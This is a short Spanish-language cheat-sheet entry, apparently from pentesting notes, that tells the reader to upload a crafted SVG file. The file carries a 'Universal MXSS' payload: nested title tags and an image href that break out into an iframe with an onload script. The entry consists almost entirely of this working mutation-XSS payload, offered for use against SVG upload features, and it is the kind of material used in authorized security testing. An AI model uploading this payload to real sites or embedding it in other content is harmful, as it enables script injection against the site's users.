En upload SVG

Usar el siguiente payload y subirlo:

Universal MXSS

<svg>
<title>
<title>
<image href="</title><iframe onload=alert(1)>">
</title>
</title>
</svg>